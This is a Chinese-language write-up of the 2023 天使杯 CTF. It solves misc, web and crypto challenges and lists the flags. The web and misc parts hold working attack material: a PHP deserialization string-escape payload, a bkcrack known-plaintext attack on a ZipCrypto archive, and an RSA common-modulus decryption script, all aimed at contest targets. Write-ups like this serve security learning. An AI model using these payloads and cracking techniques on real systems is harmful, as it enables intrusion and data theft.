2023 天使杯CTF --- wp

misc

misc1

url-html-base58解码即可得到flag

flag{welc0m3_t0_2023tsb}

misc2

将白衣天使.txt丢尽010，发现是一张png图片
修改后缀png图片，然后用Binwalk 一下得到一个mp3文件和压缩包

用audacity打开mp3文件查看声道，发现在最后面存在Morse

将其取出来

-.. ....- ...-- ----. -.... ...-- . ----. ..--- -... ----- .---- ..--- .- .- -...

解码得到16个字符，疑似16进制

d43963e92b012aab

直接当作压缩包密码，失败。查询其md5值对应的字符，得到n1ce_try

使用n1ce_try作为解压密码得到flag.png，在010中搜索得到flag

flag{Angels_watch_over_you}

misc3

发现nothing.txt存在零宽，直接解密

得到hint信息

Holly,I know there is a difference between upper and lower case of "angelcup" ,like a-aa n-nn g-gg e-ee l-ll and so on...
Wish U find~

大概意思是关于angelcup这个单词中的字母存在不同，将其中出现的字母替换为单个字母即可

import base64
data = '50x.html中的base64字符串'
lis = ["AA", "NN", "GG", "LL", "EE", "CC", "UU", "PP"]
for i in lis:
    data = data.replace(i, i[0])
with open("flag.png", "wb") as f:
    f.write(base64.b64decode(data))

flag{a_p1ctuR3_1s_h3rR}

misc4

导出http对象得到tmp.zip

压缩方法是stone，加密算法是ZipCrytpo
一眼顶针，明文攻击
直接用bkcrack得到密钥k

5b6eeca3 254ebbe5 7719424d

利用得到的密钥k生成一个新的压缩包并且设定密码为123，解压得到ppt和图片

然后将ppt改为zip后缀，最后在\ppt\embeddings下面的Workbook1.xlsx发现flag

flag{tHI5_f1A9_I5_5o_hid3_Bu7_you_f1nD_i7}

web

web1

根据题目信息提示 ：信息收集
直接扫描网站，发现存在www.zip
解压压缩包，共计两个文件 index.php以及f1ooog.txt
我们直接访问f1ooog.txt即可得到flag

flag{054acb69-0c09-a0db-c73a-a8ab2de4da6a}

web2

题目源码：

error_reporting(0);
function filter($name)
{
    $safe = array(
        "flag",
        "php"
    );
    $name = str_replace($safe, "hack", $name);
    return $name;
}
class test
{
    var $user;
    var $pass = 'daydream';
    function __construct($user)
    {
        $this->user = $user;
    }
}
if (isset($_GET['p'])) {
    $param   = $_GET['p'];
    $param   = serialize(new test($param));
    $profile = unserialize(filter($param));
    if ($profile->pass == 'escaping') {
        echo file_get_contents("flag.php");
    }
} else {
    highlight_file(__FILE__);
}
?>

反序列化字符串逃逸

  
class test {  
    var $user;  
    var $pass = 'escaping';  
}  
  
echo serialize(new test());

O:4:"test":2:{s:4:"user";N;s:4:"pass";s:8:"escaping";}

这里我们的$profile是test类的一个对象，需要使它的属性pass等于escaping，这样就会输出包含的flag.php得到flag这里get传param的值会作为生成对象$param的test类的user属性，进行序列化之后再进行反序列化，经过了
filter过滤，这里我们如果想使得daydream等于escaping，就需要利用字符串逃逸修改$pass为escaping
构造payload如下

p=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

flag{the_king_of_ser_hiter!}

web3

根据题目要求编写一个脚本即可
exp:

import re
import requests
import time
session = requests.Session()
for i in range(20):
    response = session.get('http://111.74.9.131:10085/')
    x = response.text
    # 示例 HTML 代码
    # html = '
这里是需要匹配的数据
'
    print(x)
    # 定义正则表达式模式
    pattern = r'
(.*?)
'

    # 使用 re 模块的 findall 方法匹配所有符合模式的字符串
    result = re.findall(pattern, x)[0].split('=')

    # 打印结果
    print(result)
    # result = result
    answer = ''
    if eval(result[0]) == int(result[1]):
        answer = "true"
    else:
        answer = "false"
    print(answer)
    data = {
    'answer': answer,
    }
    time.sleep(1)
    x2 = session.post('http://111.74.9.131:10085/', data=data, verify=False)
    print(x2.text)

flag{python_1s_th3_be3t_l4ngu4ge}

Crypto

crypto1

简单共模攻击

from Crypto.Util.number import *
import gmpy2

n=0xb0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929
with open('flag.enc1','rb') as f:
    c1=bytes_to_long(f.read())
with open('flag.enc2','rb') as f:
    c2=bytes_to_long(f.read())

e1 = 17
e2 = 65537
g,s1,s2=gmpy2.gcdext(e1,e2)
m=pow(c1,s1,n)*pow(c2,s2,n)%n
flag = long_to_bytes(m)
print(flag)

flag{number_is_very great}

crypto2

先鸽了，有空再写。

【人，终究会被年少不可得之物困其一生】